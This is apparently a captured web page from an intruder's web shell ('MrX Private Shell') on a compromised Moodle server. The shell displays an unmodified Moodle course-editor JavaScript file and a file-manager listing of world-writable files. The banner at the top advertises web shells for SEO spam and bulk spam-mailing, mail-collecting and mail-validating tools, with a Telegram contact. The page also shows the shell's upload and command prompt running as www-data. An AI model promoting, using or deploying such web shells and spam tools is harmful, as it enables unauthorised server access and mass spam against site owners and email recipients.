__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

import {getString} from 'core/str';
import {Reactive} from 'core/reactive';
import notification from 'core/notification';
import Exporter from 'core_courseformat/local/courseeditor/exporter';
import log from 'core/log';
import ajax from 'core/ajax';
import * as Storage from 'core/sessionstorage';
import {uploadFilesToCourse} from 'core_courseformat/local/courseeditor/fileuploader';

/**
 * Main course editor module.
 *
 * All formats can register new components on this object to create new reactive
 * UI components that watch the current course state.
 *
 * @module     core_courseformat/local/courseeditor/courseeditor
 * @class     core_courseformat/local/courseeditor/courseeditor
 * @copyright  2021 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
export default class extends Reactive {

    /**
     * The current state cache key
     *
     * The state cache is considered dirty if the state changes from the last page or
     * if the page has editing mode on.
     *
     * @attribute stateKey
     * @type number|null
     * @default 1
     * @package
     */
    stateKey = 1;

    /**
     * The current page section return
     * @attribute sectionReturn
     * @type number
     * @default null
     */
    sectionReturn = null;

    /**
     * Set up the course editor when the page is ready.
     *
     * The course can only be loaded once per instance. Otherwise an error is thrown.
     *
     * The backend can inform the module of the current state key. This key changes every time some
     * update in the course affect the current user state. Some examples are:
     *  - The course content has been edited
     *  - The user marks some activity as completed
     *  - The user collapses or uncollapses a section (it is stored as a user preference)
     *
     * @param {number} courseId course id
     * @param {string} serverStateKey the current backend course cache reference
     */
    async loadCourse(courseId, serverStateKey) {

        if (this.courseId) {
            throw new Error(`Cannot load ${courseId}, course already loaded with id ${this.courseId}`);
        }

        if (!serverStateKey) {
            // The server state key is not provided, we use a invalid statekey to force reloading.
            serverStateKey = `invalidStateKey_${Date.now()}`;
        }

        // Default view format setup.
        this._editing = false;
        this._supportscomponents = false;
        this._fileHandlers = null;

        this.courseId = courseId;

        let stateData;

        const storeStateKey = Storage.get(`course/${courseId}/stateKey`);
        try {
            // Check if the backend state key is the same we have in our session storage.
            if (!this.isEditing && serverStateKey == storeStateKey) {
                stateData = JSON.parse(Storage.get(`course/${courseId}/staticState`));
            }
            if (!stateData) {
                stateData = await this.getServerCourseState();
            }

        } catch (error) {
            log.error("EXCEPTION RAISED WHILE INIT COURSE EDITOR");
            log.error(error);
            return;
        }

        // The bulk editing only applies to the frontend and the state data is not created in the backend.
        stateData.bulk = {
            enabled: false,
            selectedType: '',
            selection: [],
        };

        this.setInitialState(stateData);

        // In editing mode, the session cache is considered dirty always.
        if (this.isEditing) {
            this.stateKey = null;
        } else {
            // Check if the last state is the same as the cached one.
            const newState = JSON.stringify(stateData);
            const previousState = Storage.get(`course/${courseId}/staticState`);
            if (previousState !== newState || storeStateKey !== serverStateKey) {
                Storage.set(`course/${courseId}/staticState`, newState);
                Storage.set(`course/${courseId}/stateKey`, stateData?.course?.statekey ?? serverStateKey);
            }
            this.stateKey = Storage.get(`course/${courseId}/stateKey`);
        }

        this._loadFileHandlers();

        this._pageAnchorCmInfo = this._scanPageAnchorCmInfo();
    }

    /**
     * Load the file hanlders promise.
     */
    _loadFileHandlers() {
        // Load the course file extensions.
        this._fileHandlersPromise = new Promise((resolve) => {
            if (!this.isEditing) {
                resolve([]);
                return;
            }
            // Check the cache.
            const handlersCacheKey = `course/${this.courseId}/fileHandlers`;

            const cacheValue = Storage.get(handlersCacheKey);
            if (cacheValue) {
                try {
                    const cachedHandlers = JSON.parse(cacheValue);
                    resolve(cachedHandlers);
                    return;
                } catch (error) {
                    log.error("ERROR PARSING CACHED FILE HANDLERS");
                }
            }
            // Call file handlers webservice.
            ajax.call([{
                methodname: 'core_courseformat_file_handlers',
                args: {
                    courseid: this.courseId,
                }
            }])[0].then((handlers) => {
                Storage.set(handlersCacheKey, JSON.stringify(handlers));
                resolve(handlers);
                return;
            }).catch(error => {
                log.error(error);
                resolve([]);
                return;
            });
        });
    }

    /**
     * Setup the current view settings
     *
     * @param {Object} setup format, page and course settings
     * @param {boolean} setup.editing if the page is in edit mode
     * @param {boolean} setup.supportscomponents if the format supports components for content
     * @param {string} setup.cacherev the backend cached state revision
     * @param {Array} setup.overriddenStrings optional overridden strings
     */
    setViewFormat(setup) {
        this._editing = setup.editing ?? false;
        this._supportscomponents = setup.supportscomponents ?? false;
        const overriddenStrings = setup.overriddenStrings ?? [];
        this._overriddenStrings = overriddenStrings.reduce(
            (indexed, currentValue) => indexed.set(currentValue.key, currentValue),
            new Map()
        );
    }

    /**
     * Execute a get string for a possible format overriden editor string.
     *
     * Return the proper getString promise for an editor string using the core_courseformat
     * of the format_PLUGINNAME compoment depending on the current view format setup.
     * @param {String} key the string key
     * @param {string|undefined} param The param for variable expansion in the string.
     * @returns {Promise<String>} a getString promise
     */
    getFormatString(key, param) {
        if (this._overriddenStrings.has(key)) {
            const override = this._overriddenStrings.get(key);
            return getString(key, override.component ?? 'core_courseformat', param);
        }
        // All format overridable strings are from core_courseformat lang file.
        return getString(key, 'core_courseformat', param);
    }

    /**
     * Load the current course state from the server.
     *
     * @returns {Object} the current course state
     */
    async getServerCourseState() {
        const courseState = await ajax.call([{
            methodname: 'core_courseformat_get_state',
            args: {
                courseid: this.courseId,
            }
        }])[0];

        const stateData = JSON.parse(courseState);

        return {
            course: {},
            section: [],
            cm: [],
            ...stateData,
        };
    }

    /**
     * Return the current edit mode.
     *
     * Components should use this method to check if edit mode is active.
     *
     * @return {boolean} if edit is enabled
     */
    get isEditing() {
        return this._editing ?? false;
    }

    /**
     * Return a data exporter to transform state part into mustache contexts.
     *
     * @return {Exporter} the exporter class
     */
    getExporter() {
        return new Exporter(this);
    }

    /**
     * Return if the current course support components to refresh the content.
     *
     * @returns {boolean} if the current content support components
     */
    get supportComponents() {
        return this._supportscomponents ?? false;
    }

    /**
     * Return the course file handlers promise.
     * @returns {Promise} the promise for file handlers.
     */
    async getFileHandlersPromise() {
        return this._fileHandlersPromise ?? [];
    }

    /**
     * Upload a file list to the course.
     *
     * This method is a wrapper to the course file uploader.
     *
     * @param {number} sectionId the section id
     * @param {number} sectionNum the section number
     * @param {Array} files and array of files
     * @return {Promise} the file queue promise
     */
    uploadFiles(sectionId, sectionNum, files) {
        return uploadFilesToCourse(this.courseId, sectionId, sectionNum, files);
    }

    /**
     * Get a value from the course editor static storage if any.
     *
     * The course editor static storage uses the sessionStorage to store values from the
     * components. This is used to prevent unnecesary template loadings on every page. However,
     * the storage does not work if no sessionStorage can be used (in debug mode for example),
     * if the page is in editing mode or if the initial state change from the last page.
     *
     * @param {string} key the key to get
     * @return {boolean|string} the storage value or false if cannot be loaded
     */
    getStorageValue(key) {
        if (this.isEditing || !this.stateKey) {
            return false;
        }
        const dataJson = Storage.get(`course/${this.courseId}/${key}`);
        if (!dataJson) {
            return false;
        }
        // Check the stateKey.
        try {
            const data = JSON.parse(dataJson);
            if (data?.stateKey !== this.stateKey) {
                return false;
            }
            return data.value;
        } catch (error) {
            return false;
        }
    }

    /**
     * Stores a value into the course editor static storage if available
     *
     * @param {String} key the key to store
     * @param {*} value the value to store (must be compatible with JSON,stringify)
     * @returns {boolean} true if the value is stored
     */
    setStorageValue(key, value) {
        // Values cannot be stored on edit mode.
        if (this.isEditing) {
            return false;
        }
        const data = {
            stateKey: this.stateKey,
            value,
        };
        return Storage.set(`course/${this.courseId}/${key}`, JSON.stringify(data));
    }

    /**
     * Convert a file dragging event into a proper dragging file list.
     * @param {DataTransfer} dataTransfer the event to convert
     * @return {Array} of file list info.
     */
    getFilesDraggableData(dataTransfer) {
        const exporter = this.getExporter();
        return exporter.fileDraggableData(this.state, dataTransfer);
    }

    /**
     * Dispatch a change in the state.
     *
     * Usually reactive modules throw an error directly to the components when something
     * goes wrong. However, course editor can directly display a notification.
     *
     * @method dispatch
     * @param {mixed} args any number of params the mutation needs.
     */
    async dispatch(...args) {
        try {
            await super.dispatch(...args);
        } catch (error) {
            // Display error modal.
            notification.exception(error);
            // Force unlock all elements.
            super.dispatch('unlockAll');
        }
    }

    /**
     * Calculate the cm info from the current page anchor.
     *
     * @returns {Object|null} the cm info or null if not found.
     */
    _scanPageAnchorCmInfo() {
        const anchor = new URL(window.location.href).hash;
        if (!anchor.startsWith('#module-')) {
            return null;
        }
        // The anchor is always #module-CMID.
        const cmid = anchor.split('-')[1];
        return this.stateManager.get('cm', parseInt(cmid));
    }

    /**
     * Return the current page anchor cm info.
     */
    getPageAnchorCmInfo() {
        return this._pageAnchorCmInfo;
    }
}

Filemanager

Name Type Size Permission Actions
contenttree.js File 6.4 KB 0777
courseeditor.js File 12.92 KB 0777
dndcmitem.js File 4.46 KB 0777
dndsection.js File 6.63 KB 0777
dndsectionitem.js File 4.82 KB 0777
exporter.js File 10.05 KB 0777
fileuploader.js File 17.95 KB 0777
mutations.js File 31.53 KB 0777
Filemanager